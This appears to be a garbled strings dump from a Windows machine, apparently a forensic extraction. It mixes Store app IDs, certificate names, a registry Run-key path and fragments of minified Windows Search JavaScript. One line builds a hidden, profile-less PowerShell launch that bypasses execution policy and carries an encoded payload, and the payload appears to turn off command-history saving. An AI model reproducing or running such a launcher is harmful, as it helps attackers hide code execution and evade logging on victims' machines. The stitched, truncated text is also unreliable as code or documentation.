9N3ZBH5V7HX6SAMSUNGELECTRONICSCO.LTD.SmartThingsWindows_3c1yjt4zspk6gSamsung Electronics Co. Ltd.
9WZDNCRFJ3PRMicrosoft.WindowsAlarms_8wekyb3d8bbweMicrosoft Corporationx86, x64, ARM64
9N26S50LN705Microsoft.WindowsFileRecovery_8wekyb3d8bbweMicrosoft Corporation
supportsMultipleWindows
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
=get-azureaddevice|?{$_.deviceostype-match"windows"-or$_.deviceostype-match"mac"}
/_VI\software\microsoft\windows\currentversion\run\
151^com.microsoft.windows.extensions.xaml.systemtray
152^com.microsoft.windows.extensions.xaml.systemtray
cdimstrargs:strargs="c:\windows\syswow64\windowspowershell\v1.0\powershell.exe-windowstylehidden-nologo-noninteractive-noprofile-executionpolicybypass-encoded""uwblahqalqbqafmaugblageazabmagkabgblae8acab0agkabwbuacaalqbiagkacwb0ag8acgb5afmayqb2aguauwb0ahkabablacaajwbtageadgblae4abwb0aggaaqbuagcajwa7a
https://www.bing.com/rp/3B2M7E4S27pxiMciWOhYRUX2HkU.br.jsvar WSB;(function(n){function p(){return h}function o(t,i,r,u,f,e){if(!t)return r;if(typeof t!="string")try{return n.config.winRTIconWorkaround?{content:URL.createObjectURL(t).replace(/^data:image\/jpeg,image\/jpe,image\/jpg;base64,/,"data:image/jpeg;base64,"),type:0,bgColor:u,thumbnailType:e}:{content:URL.createObjectURL(t),type:0,bgColor:u,thumbnailType:e}}catch(o){return n.LogWSBError("convertToHtmlImage "+i,f,o,undefined,undefined,"WindowsTelemetry"),r}else return{content:t,type:0,bgColor:u,thumbnailType:e}}const h="data:img/png;base64,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 
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
getInstrumentationParameters()))}static async launchSearchAsync(i,r,u,f,e){if(u&&!n.config.disableRAF)t.launchVoiceFlow(i);else{if(n.config.anaheimPrototype&&this._accessTokenManager){let n=this._accessTokenManager.getSelectedAccountInfo();r=n?`microsoft-edge:?upn=${n.accountUserName};url=${r}`:`microsoft-edge:?url=${r}`}let i;switch(f){case"WSHBSH":i="LocalBingSearchHistory";break;case"WSSHRH":i="SearchHomeRoamingHistory";break;case"SSHTRD":i="SSHTrendingSearch";break;case"WSBQFC":i="QFToBingChat";break;case"MVALL":i="WorkAutoSuggest";break;case"WSBQSC":i="CodexButtonInQuickSearches";break;case"WSBIRP":i="BingImageSearch";break;default:i="AutoSuggest"}if(n.config.enableWsbPartnerCodes){const t=e?2:f=="SW"?2:0;r=n.setWsbPartnerCodeToURL(r,t)}f==="MVALL"?await t.launchUrlWithHttpProtocolAsync(r,{campaign:n.config.moreEdgeProtocolOCID,medium:i}):await t.launchUrlWithEdgeProtocolAsync(r,{campaign:n.config.moreEdgeProtocolOCID,medium:i})}}static launchCat1Async(n,r,f){let e=w[r];if(e)t.launchInApp("launch"+e,n,()=>i.launchExperienceByName(e,null));else{let i=b[r];i?t.launchUriAsync(i):t.launchInApp("launchCat1",n,()=>u.launchCat1Async(n,f,t.getInstrumentationParameters()))}}static launchCat2or3aAsync(n,i){t.launchInApp("launchCat2",n,()=>u.launchCat2Async(n,t.getFormCode(),i,t.getInstrumentationParameters()))}static launchStoreSearchAsync(i){let r="ms-windows-store:search?query="+n.encodeQueryParameter(i)+"&ocid="+n.encodeQueryParameter(n.config.storeHandoffTag)+"&type=apps";return t.launchUriAsync(r)}static launchFolder(t){n.safeExecute(()=>u.startLaunchFolder(t),"launchFolder")}static launchWindowsCortanaSettingsAsync(){return t.launchUriAsync("ms-settings:cortana")}static launchCortanaSignInAsync(){return t.launchUriAsync("ms-cortana://CapabilitiesPrompt/?RequestedCapabilities=Personalization")}static launchWindowsAccountSettingsAsync(){return t.launchUriAsync("ms-settings:emailandaccounts")}static launchSearchSettingsAsync(){return t.launchUriAsync("ms-settings:cortana-windowssearch")}static launchSearchPermissions(n){n?t.launchUriAsync("ms-settings:websearch"):t.launchUriAsync("ms-settings:search-permissions")}static launchSearchSettings(){t.launchUriAsync("ms-settings:windowssearch")}static launchIndexingStatusSettingsPage(){t.launchUriAsync("ms-settings:search")}static async launchDeviceItemAsync(r,f){if(!n.isRemoveIconSelected()){let e=r.id,o=f;if(n.localDataSourceMayContainPII(f)||(o+="\n"+e),e.startsWith("shell:"))n.safeExecute(()=>u.startLaunchFolder(e),"launchDeviceItem",null,o);else{const f=r.originalDeviceItem||r;try{if(await n.Async.safePromise("launchDeviceItem",()=>u.launchSearchItemAsync(f),null,o,2),t._isFileExplorerOrControlPanel)i.fileExplorerSuggestionPage.onFileSelection(r)}catch(e){}}}}static async launchAppItemAsync(t,i,r){if(!n.isRemoveIconSelected()){let f=t.id,e=i+"\n"+f;if(r&&e+"\n"+r,f.startsWith("shell:"))n.safeExecute(()=>u.startLaunchFolder(f),"launchAppItem",null,e);else{let i=t.originalDeviceItem||t;try{await n.Async.safePromise("launchAppItem",()=>{let n;return r&&(n=u.createAppLaunchOptions(),n.appContext=r),u.launchSearchItemAsync(i,n)},null,e,2)}catch(f){}}}}static launchWebContent(n,i,r){t.launchInApp("launchWebContent",i,()=>{let t=u.createWebContentLaunchOptions();t.uri=n;r&&t.setAuthorization("Bearer",r);u.launchWebContent(t)})}static launchPrivacyPortalAsync(){return t.launchUriAsync("https://go.microsoft.com/fwlink/?LinkId=780764")}static initUrlParameters(){return Object.assign({},t._queryParamsCache)}static getCustomUrlParameters(i){let r=t.initUrlParameters(),u=i.scope;return u==n.Scope.All?delete r[f.Scope]:r[f.Scope]=n.Scope[u].toLowerCase(),n.searchHistoryAllowed()||(r[n.Service.QueryParams.NoHistory]="1"),t._sendElTokenInSuggstionRequest&&(r[n.Service.QueryParams.ElTokenValue]=t._elToken),n.RuntimeConfig.QfMode&&(r[n.Service.QueryParams.QfMode]=n.RuntimeConfig.QfMode.toString()),r}static getCustomHeaders(i){let r=Object.assign({},t._headersCache);if(!i||i.scope!=n.Scope.Apps){let n=(r["X-BM-ClientFeatures"]||"").split(",");n.push("RevStore");r["X-BM-ClientFeatures"]=n.join(in.pdb
u?==null&&u!==void 0?u:"",isQF:(f=t===null||t===void 0?void 0:t.isQF)!==null&&f!==void 0?f:!1,conversationId:i,accessToken:r,historyMessage:[],chatClickHandler:t===null||t===void 0?void 0:t.chatClickHandler}))}updateMsbPreviewContainerView(n){let t=_ge("b_bfb");if(t!=null){const n=_w.BingAtWork;n&&n.clearMsbContainer&&n.clearMsbContainer();t.remove()}let i=_ge("msbPane");n.suggestion?(t=sj_ce("div","b_bfb"),t.classList.add("fbig"),i.appendChild(t),i.classList.add("localPreviewContainer","msbPreviewContainer")):i.classList.remove("localPreviewContainer","msbPreviewContainer")}updateMenuView(t){this.renderReactView("menuContainer",n.View.WindowsMenu,{dataModel:t})}updatePopoverView(t){this.renderReactView("popoverContainer",n.View.Popover,{dataModel:t})}setProgressIndicatorVisibility(t){this._progressBarVisible!=t&&(this._progressBar||(this._progressBar=_ge("b_progress")),n.setVisibility(this._progressBar,t),this._progressBarVisible=t)}setPreviewPaneVisibility(t){this._previewPaneVisible!=t&&(t||this.closeSidePanel(1),n.setVisibility(n.StaticHtmlElements.qfPreviewPane,t),t&&this.openSidePanel(1),this._previewPaneVisible=t)}toggleDebugWindowVisibility(){return this.setDebugWindowVisibility(!this._debugWindowVisible),this._debugWindowVisible}updateOptionsWindowView(t){this.renderReactView("optionsContainer",n.View.OptionsWindow,{dataModel:t})}updateDSBCardUIView(t){if(!t){n.config.enableSSHUnshownFix||(n.setZeroInputDataSourcesForL1(),n.Host.refreshCurrentPane());return}this.renderReactView("dynamic-pane",n.View.DSB.CardUI.DSBContainer,{moment:t,hideHeader:!1});return}updateDynamicSearchView(t,i){if(!t){n.config.enableSSHUnshownFix||(n.setZeroInputDataSourcesForL1(),n.Host.refreshCurrentPane());return}const r=n.Host.getQuery();n.isDSBFullWidthFlightEnabled()?n.config.optimizeDsbInitRender&&n.shouldShowDSBFullWidth(r)&&i?this.renderDsbV2Moment(i):!n.config.optimizeDsbInitRender||n.shouldShowDSBFullWidth(r)&&i?(this.renderDsbV1Moment(t),i&&this.renderDsbV2Moment(i)):this.renderDsbV1Moment(t):this.renderDsbV1Moment(t);this.setQueryBasedCss(r)}renderDsbV1Moment(t){const i=n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInBlendedMode();this.renderReactView("dynamic-pane",n.View.DSB.Templates.DynamicSearchBoxTemplateContainerV2,{moment:t,hideHeader:i})}renderDsbV2Moment(t){var r;let u="dsb-fwp-left-content",i=_ge(u);if(i){let n=i.nextElementSibling,u=i.parentElement;t.isMainColumnInLeft===!1?n&&((r=n.getAttribute("class"))===null||r===void 0?void 0:r.includes("dsb-fwp-right"))&&(n.setAttribute("class","dsb-fwp-right switched"),i.removeAttribute("class"),i.setAttribute("class","dsb-fwp-left"),u.removeChild(i),u.removeChild(n),u.appendChild(n),u.appendChild(i)):(i.setAttribute("class","dsb-fwp-left non-switched"),n||(n=i.previousElementSibling,n&&(n.removeAttribute("class"),n.setAttribute("class","dsb-fwp-right"),u.removeChild(i),u.removeChild(n),u.appendChild(i),u.appendChild(n))))}this.renderReactView(u,n.View.DSB.Templates.DSBFullWidthContainer,{moment:t,side:n.View.DSB.Templates.FullWidthContainerSide.Left});this.renderReactView("dsb-fwp-right-content",n.View.DSB.Templates.DSBFullWidthContainer,{moment:t,side:n.View.DSB.Templates.FullWidthContainerSide.Right})}setDebugWindowVisibility(t){n.setVisibility(this._debugWindow,t);n.RuntimeConfig.AlwaysWide?this.setConditionalCss("debugWindowOpen",t):t?this.openSidePanel(2):this.closeSidePanel(2);this._debugWindowVisible=t}applyAccentColor(){let u=n.Host.getAccentColor();if(this._lastAccentColor!=u){let e,o="accent-style",f=_ge(o);f||(f=_d.createElement("style"),f.setAttribute("id",o),f.type="text/css",e=!0);let t=":root {";t+=`--accent0: ${u};`;t+=`--accent1: ${i(u,.3)};`;t+=`--accent2: ${i(u,.1)};`;t+=`--accent3: ${i(u,.4)};`;t+=`--accent4: ${i(u,.6)};`;t+=`--accent5: ${i(u,.7)};`;t+=`--accent6: ${i(u,.15)};`;t+=`--accent7: ${r(u,-.35)};`;t+=`--accent8: ${r(u,-.2)};`;t+=`--accent9: ${r(u,-.1)};`;t+=`--accent10: ${i(u,0)};`;t+=`--accent11: ${n.Host.getAccentColor(1)};`;t+=`--accent12: ${n.Host.getAccentColor(-2)};`;t+=`--accent13: ${n.Host.getAccentColor(2)};`;t+=`--acccedOptions:t})}updateTopHitHeaderView(t){this.renderReactView("topHitHeader",n.View.TopHitHeader,n.config.reactGroups?n.deepCopy({dataModel:t},["parent"]):{dataModel:t})}createFlyout(t){return n.config.enableEducationalFlyout?(this._flyoutController||(this._flyoutController=new n.FlyoutController(this),n.Host.bindQueryChangedOrInitialized(n=>{this._flyoutController.onQueryChange(n)})),this._flyoutController.createFlyout(t)):null}renderFlyoutAreaView(t){t.acknowledgeFlyoutText=n.Host.getLocString("AcknowledgeFlyoutText");t.nextFlyoutText=n.Host.getLocString("NextFlyoutText");t.stepCounterText=n.Host.getLocString("FlyoutStepCounterFormat",(t.currentStep+1).toString(),t.nbSteps.toString());t.dismissFlyoutText=n.Host.getLocString("DismissFlyout");this._flyoutController.setQuery(n.Host.getQuery());n.RuntimeConfig.QfMode===0||n.RuntimeConfig.QfMode===4||n.RuntimeConfig.QfMode===11?n.StaticHtmlElements.flyoutContainer.classList.add("flyoutSinglePane"):n.StaticHtmlElements.flyoutContainer.classList.remove("flyoutSinglePane");this.renderReactView("flyoutContainer",n.View.Flyout,{dataModel:t});this.showFlyoutAreaView();t.overlay&&this.showOverlayAreaView()}renderAADVerificationAreaView(t){n.View.AADVerification&&n.StaticHtmlElements.aadVerificationContainer&&(this.renderReactView("aadVerificationContainer",n.View.AADVerification,{dataModel:t,isEduTenant:!!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant())}),n.setVisibility(n.StaticHtmlElements.aadVerificationContainer,!0))}showFlyoutAreaView(){n.setVisibility(n.StaticHtmlElements.flyoutContainer,!0);n.StaticHtmlElements.flyoutContainer.style.animation="none";n.StaticHtmlElements.flyoutContainer.offsetHeight;n.StaticHtmlElements.flyoutContainer.style.animation=null}hideFlyoutAreaView(){n.setVisibility(n.StaticHtmlElements.flyoutContainer,!1)}showOverlayAreaView(){n.setVisibility(n.StaticHtmlElements.overlayContainer,!0)}hideOverlayAreaView(){n.setVisibility(n.StaticHtmlElements.overlayContainer,!1)}updateTopBrandingBarView(t){!n.msbHost||(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isScopeListBrandingLogoEnabled())||this.renderReactView("msbTopBrandingBar",n.View.MsbBrandingBar,{dataModel:t})}updateWorkUpsellAreaView(t){t?(n.setVisibility(n.StaticHtmlElements.workUpsellBanner,!0),this.renderReactView("workUpsellBanner",n.View.WorkUpsellBanner,{dataModel:t})):n.setVisibility(n.StaticHtmlElements.workUpsellBanner,!1)}removeWorkUpsellAreaView(){var t;(t=n.StaticHtmlElements.workUpsellBanner)===null||t===void 0?void 0:t.remove()}updateScopesHeaderView(t){!this._shimmerShown||!t||(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.forceLoadingShimmer)||(this._shimmerShown=!1,n.StaticHtmlElements.shimmerContainer.classList.add("b_hide"),n.StaticHtmlElements.rootContainer.classList.remove("b_hide"));this.renderReactView("scopesHeader",n.config.optimizeScopesReactRender?n.View.ScopesHeaderV2:n.View.ScopesHeader,{dataModel:t})}updateNarratorMessageView(t){t&&n.StaticHtmlElements.narratorMessageContainer.setAttribute("aria-label",t);this.renderReactView("narratorMessageContainer",n.View.NarratorAnnouncement,{message:t})}updatePreviewErrorMessageView(t){if(this.renderReactView("errorPane",n.View.PreviewErrorMessageContainer,{dataModel:t,icon:{content:"&#xF303",type:2}}),n.config.miniSERPFallbackPaneClickable){const t=_ge("errorPane");t&&(t.onclick=()=>n.StaticHtmlElements.footer.click())}}updatePreviewContainerView(t){this.renderReactView("localPane",n.View.WindowsPreviewContainer,{dataModel:t,expanderClickInstrumentation:this._expanderClickInstrumentation,chevronDownIcon:{content:"&#xE70D",type:2}})}updatePreviewContainerCopilotView(t,i,r){var u,f;n.RuntimeConfiguration.TextScaleFactor<=1.25&&(this._copilotChatQueryCount=this._copilotChatQueryCount+1,_ge("copilotLoadingScreen").classList.add("b_hide"),_ge("copilotInlinePreview").classList.remove("b_hide"),this.renderReactView("copilotInlinePreview",n.View.CopilotChat,{queryCount:this._copilotChatQueryCount,queryText:(u=t===null||t===void 0?void 0:t.queryText)!llback():null,notifyIconPending:(t,i,r)=>n.InstrumentationHelper.notifyIconPending(t,i,r),notifyIconReadyOrFailed:(t,i,r)=>n.InstrumentationHelper.notifyIconReadyOrFailed(t,i,r),scope:(s=t.query)===null||s===void 0?void 0:s.scope,updateFullyExpandState:r,scrollTo:this.scrollTo,copilotGreetingData:u,queryToFetch:(h=t.query)===null||h===void 0?void 0:h.queryToFetch,photosSearchInFileExplorerClickHandler:this._photosSearchInFileExplorerClickHandler,notifyImageGridThumbnailPending:(t,i)=>n.InstrumentationHelper.notifyImageGridThumbnailPending(t,i),notifyImageGridThumbnailReady:(t,i)=>n.InstrumentationHelper.notifyImageGridThumbnailReady(t,i)};if(n.config.enableMRUDSBV2&&n.shouldShowDSBFullWidth(t.query)?this.renderReactView("dsb-fwp-groups-ssh",n.View.WindowsGroups,n.config.reactGroups?n.deepCopy(f,["parent"],["deviceItem"]):f):this.renderReactView("groups",n.View.WindowsGroups,n.config.reactGroups?n.deepCopy(f,["parent"],["deviceItem"]):f),n.config.msbEnableAccountManager&&!i){const t=n.Host.getQuery();n.shouldShowDSBLayout(t)&&this.setQueryBasedCss(t)}}deleteMRUButtonCallback(){sj_evt.fire("clearMRUButtonClicked");n.Host.refreshCurrentPane()}updateFENarratorSuggestionCount(t){let i="";this._isFileExplorerOrControlPanel&&t&&(i=n.Host.getLocString("SuggestionCountNarrator",`${t}`));this.updateNarratorMessageView(i)}updateTopResultsView(t,i){if(!this._shimmerShown||i||(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.forceLoadingShimmer)||(this._shimmerShown=!1,n.StaticHtmlElements.shimmerContainer.classList.add("b_hide"),n.StaticHtmlElements.rootContainer.classList.remove("b_hide")),i||this.setQueryBasedCss(t.query,t.topResults.length!=0),this.setConditionalCss("noSuggestions",t.topResults.length==0&&t.groups.length==0),this._isFileExplorerOrControlPanel){let n=t.topResults.length;this.updateFENarratorSuggestionCount(n>0?n:null)}let r={suggestions:t.topResults,contextMenuHandler:this._contextMenuHandler,clickHandler:this._suggestionClickHandler,openPreviewPaneButton:this.getOpenPreviewPaneButton(),isSearchHome:t.query&&t.query.isSearchHomeZI,notifyIconPending:(t,i,r)=>n.InstrumentationHelper.notifyIconPending(t,i,r),notifyIconReadyOrFailed:(t,i,r)=>n.InstrumentationHelper.notifyIconReadyOrFailed(t,i,r)};this.renderReactView("topResults",n.View.WindowsTopResults,n.config.reactGroups?n.deepCopy(r,["parent"],["deviceItem"]):r)}updateCopilotChatView(t,i,r,u){this._copilotChatQueryCount=this._copilotChatQueryCount+1;this.renderReactView("copilot-chat-container",n.View.CopilotChat,{queryText:t,queryCount:this._copilotChatQueryCount,conversationId:i,historyMessage:r,accessToken:u})}showTemporaryMessage(t,i,r,u){if(this._windowsTemporaryMessageShown)this.hideTemporaryMessage(),n.safeSetTimeout(()=>this.showTemporaryMessage(t),100,"showTemporaryMessage");else{let f={messageText:t,icon:i!==null&&i!==void 0?i:{content:"&#xE946",type:2},messageClassName:r!==null&&r!==void 0?r:"slideInMessage",clickHandler:()=>{this.hideTemporaryMessage(),n.Host.setFocusInSearchBox(null,"temporaryMessage")},action:u};this.updateTemporaryMessageView(f);this._windowsTemporaryMessageShown=!0}}hideTemporaryMessage(){this._windowsTemporaryMessageShown&&(this.updateTemporaryMessageView(null),this._windowsTemporaryMessageShown=!1)}updateTemporaryMessageView(t){this.renderReactView("temporaryMessage",n.View.WindowsMessage,{dataModel:t})}updateDialogBox(t){this.renderReactView("dialogBox",n.View.WindowsDialogBox,{dataModel:t})}updateNotificationBannerAreaView(t){(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&t?(n.setVisibility(n.StaticHtmlElements.notificationBanner,!0),this.renderReactView("notificationBanner",n.View.NotificationBanner,{dataModel:t})):n.setVisibility(n.StaticHtmlElements.notificationBanner,!1)}updateRewardsFlyout(t){this.renderReactView("rewardsFlyoutContainer",n.View.RewardsFlyout,{dataModel:t})}renderAdvancedOptionsMessages(t){this.renderReactView("temporaryOption",n.View.AdvancedOptions,n.config.reactGroups?n.deepCopy({advancedOptions:t}):{advanSuggestionsContainerHeight(){this._suggestionsContainerHeight=0}calculateSuggestionsContainerHeight(){let t=n.StaticHtmlElements.root.clientHeight;t<440&&(t=440);let i=_ge("temporaryMessage");t-=i.offsetHeight;this._suggestionsContainerHeight=t}getPanelWidthFor(t){let i=this._originalPaneWidth;return i+=t&1?n.PreviewPaneWidth:0,i+(t&2?n.DebugWindowWidth:0)}getPanelState(){switch(t.width-this._originalPaneWidth){case 0:return 0;case n.PreviewPaneWidth:return 1;case n.DebugWindowWidth:return 2;case n.PreviewPaneWidth+n.DebugWindowWidth:return 3;default:return 0}}openSidePanel(n){let i=this.getPanelState();if(i==0&&this.setDimensions(t.width,null),!(i&n)){let u=i|n,r=this.getPanelWidthFor(u);t.setPaneWidth(r);this.onPaneWidthSet(r)}}closeSidePanel(i){let r=this.getPanelState();if(r&i){let f=r&~i,u=this.getPanelWidthFor(f);u!=this._originalPaneWidth||n.config.alwaysWideBeforeRS5?t.setPaneWidth(u):t.resetToDefaultSize();this.onPaneWidthSet(u)}}onPaneWidthSet(t){n.safeFireEvent("CortanaPaneWidthSet",t)}getOpenPreviewPaneButton(){if(!n.RuntimeConfig.PreviewPaneAvailable)return null;if(!this._openPreviewPaneButtonCache){let t=n.isRtl(),i=t?"&#xE96F":"&#xE970";this._openPreviewPaneButtonCache={defaultIcon:{content:i,type:2},openedIcon:{content:t?"&#xE72B":"&#xE72A",type:2},clickHandler:this._openPreviewPaneClickHandler}}return this._openPreviewPaneButtonCache}setContextMenuHandler(n){this._contextMenuHandler=n}setSuggestionClickHandler(n){this._suggestionClickHandler=n}setOpenPreviewPaneClickHandler(n){this._openPreviewPaneClickHandler=n}setExpanderClickInstrumentation(n){this._expanderClickInstrumentation=n}setPhotosSearchInFileExplorerClickHandler(n){this._photosSearchInFileExplorerClickHandler=n}updateGroupsView(t,i,r,u){var e,o,s,h;if((n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.forceRenderingCrashOnSecondConversation)&&n.Host.getPaneCloseCount())throw new Error("Simulated exception");if(n.shouldShowDSBLayout(t.query)){let t=n.Host.getBindDimissTime(),i=n.Host.getBindShownTime();if(t&&i&&(i-t)/1e3>n.DSB_RESET_SECONDS){if(n.config.useCobaltCSS){const t=document===null||document===void 0?void 0:document.getElementById("dsb-moment-container");t&&(!n.config.optimizeScrollTop||t.scrollTop!==0)&&(t.scrollTop=0)}else n.config.optimizeScrollTop&&n.StaticHtmlElements.dynamicPane.scrollTop===0||(n.StaticHtmlElements.dynamicPane.scrollTop=0);n.StaticHtmlElements.dynamicPaneFullWidth&&(!n.config.optimizeScrollTop||n.StaticHtmlElements.dynamicPaneFullWidth.scrollTop!==0)&&(n.StaticHtmlElements.dynamicPaneFullWidth.scrollTop=0)}!n.StaticHtmlElements.msbDsbRoot||n.config.optimizeScrollTop&&(n.StaticHtmlElements.msbDsbRoot.classList.contains("b_hide")||n.StaticHtmlElements.msbDsbRoot.scrollTop===0)||(n.StaticHtmlElements.msbDsbRoot.scrollTop=0)}i||this.setQueryBasedCss(t.query,t.topResults.length!=0);this.setConditionalCss("noSuggestions",t.topResults.length==0&&t.groups.length==0);n.config.disbaleWideForLargeTextScale&&n.RuntimeConfiguration.TextScaleFactor>1.25||this.setConditionalCss("noextrapadding",SearchAppWrapper.CortanaApp.isSearchBoxInTaskbar&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(53927647)));(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockNoExtraPadding)&&this.setConditionalCss("noextrapadding",!0);let c=t.query&&t.query.isSearchHomeZI;if(c){let n=t.groups.filter(n=>!n.suggestions.every(n=>n.suppressed==!0));t.groups=n}let l=c?null:((e=t.query)===null||e===void 0?void 0:e.scopePrefix)==="work"?null:" - 